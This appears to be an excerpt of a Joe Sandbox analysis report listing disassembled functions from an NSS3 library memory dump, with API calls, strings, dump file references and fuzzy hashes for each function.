PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA6F53

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CBA6FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA6F4C
hSession = 0x%x, xrefs: 6CBA6F2E, 6CBA6F3E
pPart = 0x%p, xrefs: 6CBA6F83
C_DigestUpdate, xrefs: 6CBA6F11
ulPartLen = %d, xrefs: 6CBA6F9C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 06cfe5bf318493fa3c8b51ffad77e644e58ffef337b5e89626427da11573fb3c
Instruction ID: e224212cb61f897282a59136a4aa8dfdb48cc46caca90efe197c82d7cb6b4b5c
Opcode Fuzzy Hash: 06cfe5bf318493fa3c8b51ffad77e644e58ffef337b5e89626427da11573fb3c
Instruction Fuzzy Hash: 4731F574606190AFDF109B58DC58B8A7BB5EB4631DF084025E808E7A11EB31EC4ACB92

Function 6CB12450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB124BA
LeaveCriticalSection.KERNEL32(?), ref: 6CB1250D
EnterCriticalSection.KERNEL32(?), ref: 6CB12554
LeaveCriticalSection.KERNEL32(?), ref: 6CB125A7
EnterCriticalSection.KERNEL32(?), ref: 6CB12609
LeaveCriticalSection.KERNEL32(?), ref: 6CB1265F
EnterCriticalSection.KERNEL32(?), ref: 6CB126A2
LeaveCriticalSection.KERNEL32(?), ref: 6CB126F5
EnterCriticalSection.KERNEL32(?), ref: 6CB12764
LeaveCriticalSection.KERNEL32(?), ref: 6CB12898
EnterCriticalSection.KERNEL32(?), ref: 6CB128D0
EnterCriticalSection.KERNEL32(?), ref: 6CB12948
LeaveCriticalSection.KERNEL32(?), ref: 6CB1299B
EnterCriticalSection.KERNEL32(?), ref: 6CB129E2
LeaveCriticalSection.KERNEL32(?), ref: 6CB12A31

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: c363ca39467502b8969f9e0348a7edd458c2a6d9ba8bd7e65ef1eb799f001b98
Instruction ID: ba5553ea2aa98a2b98ff7428bcd73cde87804260cb2c670b36485f45990d5c01
Opcode Fuzzy Hash: c363ca39467502b8969f9e0348a7edd458c2a6d9ba8bd7e65ef1eb799f001b98
Instruction Fuzzy Hash: 44F16C31B091908BDB08DF65E99EA6A3770FF47325B18012DE90657E40DB39BA42DBD3

Function 6CB74880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB748A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CB748C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CB748D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CB748FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CB74908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB74947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CB7496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB74988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC98DAC,?), ref: 6CB749DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB749FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB74ACB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 073d7a87e5e5777e9c22d4114c8fff7a1dba5c4bde074bfc1ce3a5ae14e95fd5
Instruction ID: 9e8782c3db2d5756e9a2b3f8b97b112c6f1e48a403af41952d862251a87a1a2e
Opcode Fuzzy Hash: 073d7a87e5e5777e9c22d4114c8fff7a1dba5c4bde074bfc1ce3a5ae14e95fd5
Instruction Fuzzy Hash: CE51E071A043818BEF208F65DC41B9B76A9EB4130AF154129ED39AAB91E7B1D408CF77

Function 6CC42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC42D9F

Part of subcall function 6CAFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB5F9C9,?,6CB5F4DA,6CB5F9C9,?,?,6CB2369A), ref: 6CAFCA7A
Part of subcall function 6CAFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CAFCB26

sqlite3_exec.NSS3(?,?,6CC42F70,?,?), ref: 6CC42DF9
sqlite3_free.NSS3(00000000), ref: 6CC42E2C
sqlite3_free.NSS3(?), ref: 6CC42E3A
sqlite3_free.NSS3(?), ref: 6CC42E52
sqlite3_mprintf.NSS3(6CCAAAF9,?), ref: 6CC42E62
sqlite3_free.NSS3(?), ref: 6CC42E70
sqlite3_free.NSS3(?), ref: 6CC42E89
sqlite3_free.NSS3(?), ref: 6CC42EBB
sqlite3_free.NSS3(?), ref: 6CC42ECB
sqlite3_free.NSS3(00000000), ref: 6CC42F3E
sqlite3_free.NSS3(?), ref: 6CC42F4C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 738fb824c79fe655e70e2006758892f7554b6f47232a60decd1e33bb98b3b03d
Instruction ID: a511bdbedc60cc496e4f179a719b35c11d73b770e3d67f8abf9a04b91866cf73
Opcode Fuzzy Hash: 738fb824c79fe655e70e2006758892f7554b6f47232a60decd1e33bb98b3b03d
Instruction Fuzzy Hash: BB617EB5E012058BEB00CFA9D996B9EBBB1EF48348F158024EC55E7701F735E859CBA1

Function 6CB92C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB93F23,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C93

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23), ref: 6CB92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?), ref: 6CB92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?), ref: 6CB92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CB92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CB92D71
PR_Unlock.NSS3(?), ref: 6CB92D7E

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: f99dc90424ca2e41d68424f5c532484bc5c7c06ae3cdb53ebff486f51e74d97c
Instruction ID: 5a143a2f9c6580195325ea78042a9f041353a8389cde5b997fd4d7d95426c3ae
Opcode Fuzzy Hash: f99dc90424ca2e41d68424f5c532484bc5c7c06ae3cdb53ebff486f51e74d97c
Instruction Fuzzy Hash: C151E5B6D00654ABEB009F24EC858AAB778FF1A25CB048534EC1997B11F731ED64C7E2

Function 6CAF4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4D97
PR_Lock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4DBA
PR_WaitCondVar.NSS3 ref: 6CAF4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4DEF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 9b8f5b57600e0ffe1476b1b62a7fa8a2e99cf1971f7ed6bb7970fb3aa534ba21
Instruction ID: ea6f299b744d04e5a1a08afcb41c70a6cebc9ab36d7d6a034dc256a07781be5d
Opcode Fuzzy Hash: 9b8f5b57600e0ffe1476b1b62a7fa8a2e99cf1971f7ed6bb7970fb3aa534ba21
Instruction Fuzzy Hash: D8417FB5A14655CFCB00AF7DD584559BBF4FF05328F094669E8A89BB00E730E8C6CB91

Function 6CB7E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CB7E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6CB7E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6CB7E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB7E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6CB7E9CA
PORT_Strdup_Util.NSS3(6CCB933E), ref: 6CB7EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6CB7EA28

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB7EA3C
free.MOZGLUE(?), ref: 6CB7EA69

Strings

http://, xrefs: 6CB7E935

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 6df3024062fd19db03b8d185ddbcad64e32cb4d2f486be26915edaafa15ce95f
Instruction ID: c1173e6abf9b5687b261fc10985377d656f865ca7b8ba063546d3f8686fc105f
Opcode Fuzzy Hash: 6df3024062fd19db03b8d185ddbcad64e32cb4d2f486be26915edaafa15ce95f
Instruction Fuzzy Hash: B24149669486C64FEF704AA888407EE7765EF4731CF140021ECB5A7B41E2319646C3F7

Function 6CBBECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CBBDE64), ref: 6CBBED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBBED22

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

PL_FreeArenaPool.NSS3(?), ref: 6CBBED4A
PL_FinishArenaPool.NSS3(?), ref: 6CBBED6B
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CBBED38

Part of subcall function 6CAF4C70: TlsGetValue.KERNEL32(?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4C97
Part of subcall function 6CAF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CB0
Part of subcall function 6CAF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CBBED52
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CBBED83
PL_FreeArenaPool.NSS3(?), ref: 6CBBED95
PL_FinishArenaPool.NSS3(?), ref: 6CBBED9D

Part of subcall function 6CBD64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBD127C,00000000,00000000,00000000), ref: 6CBD650E

Strings

security, xrefs: 6CBBED06

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 0d7018d9d6bc3dd58e6bed42c05b0029bca9f49bafcd7f5ac1961114f3210af8
Instruction ID: a8d8058ab3e37e8cd7660f39cceed1e6d4c805ffd62bdc4b0d0a6b8eff5f8959
Opcode Fuzzy Hash: 0d7018d9d6bc3dd58e6bed42c05b0029bca9f49bafcd7f5ac1961114f3210af8
Instruction Fuzzy Hash: 67116A769002E46BE7105664AC44BBF7278EF0170CF060964E819B2E60FF74B90DC6D7

Function 6CBA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CBA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CBA2D07

Part of subcall function 6CC809D0: PR_Now.NSS3 ref: 6CC80A22
Part of subcall function 6CC809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC80A35
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC80A66
Part of subcall function 6CC809D0: PR_GetCurrentThread.NSS3 ref: 6CC80A70
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC80A9D
Part of subcall function 6CC809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC80AC8
Part of subcall function 6CC809D0: PR_vsmprintf.NSS3(?,?), ref: 6CC80AE8
Part of subcall function 6CC809D0: EnterCriticalSection.KERNEL32(?), ref: 6CC80B19
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80B48
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80C76
Part of subcall function 6CC809D0: PR_LogFlush.NSS3 ref: 6CC80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBA2D22

Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80B88
Part of subcall function 6CC809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC80C5D
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC80C8D
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80C9C
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80CD1
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80CEC
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80CFB
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80D16
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC80D26
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D35
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC80D65
Part of subcall function 6CC809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC80D70
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80D90
Part of subcall function 6CC809D0: free.MOZGLUE(00000000), ref: 6CC80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBA2D3B

Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80BAB
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80BBA
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CBA2D54

Part of subcall function 6CC809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC80BCB
Part of subcall function 6CC809D0: EnterCriticalSection.KERNEL32(?), ref: 6CC80BDE
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80C16

Strings

ulPinLen = %d, xrefs: 6CBA2D36
slotID = 0x%x, xrefs: 6CBA2D02
pLabel = 0x%p, xrefs: 6CBA2D4F
C_InitToken, xrefs: 6CBA2CE7
pPin = 0x%p, xrefs: 6CBA2D1D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: f5c0cbead50c8f6528f7c351a696267a4f16da34520bdb8685d37c89ed28ab8e
Instruction ID: ee4df2eb5b4d094b39bb073f73c6f0240fda9b14f203433533bd2fe0473dd80a
Opcode Fuzzy Hash: f5c0cbead50c8f6528f7c351a696267a4f16da34520bdb8685d37c89ed28ab8e
Instruction Fuzzy Hash: BA21D775202194FFDB009F95DD5CA8A7BB1EB4631EF448055E94897A23EB30AC4ACB62

Function 6CBA2AF0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6CBA2B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CBA2B59

Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80BAB
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80BBA
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6CBA2B3E

Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80B88
Part of subcall function 6CC809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC80C5D
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC80C8D
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80C9C
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80CD1
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80CEC
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80CFB
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80D16
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC80D26
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D35
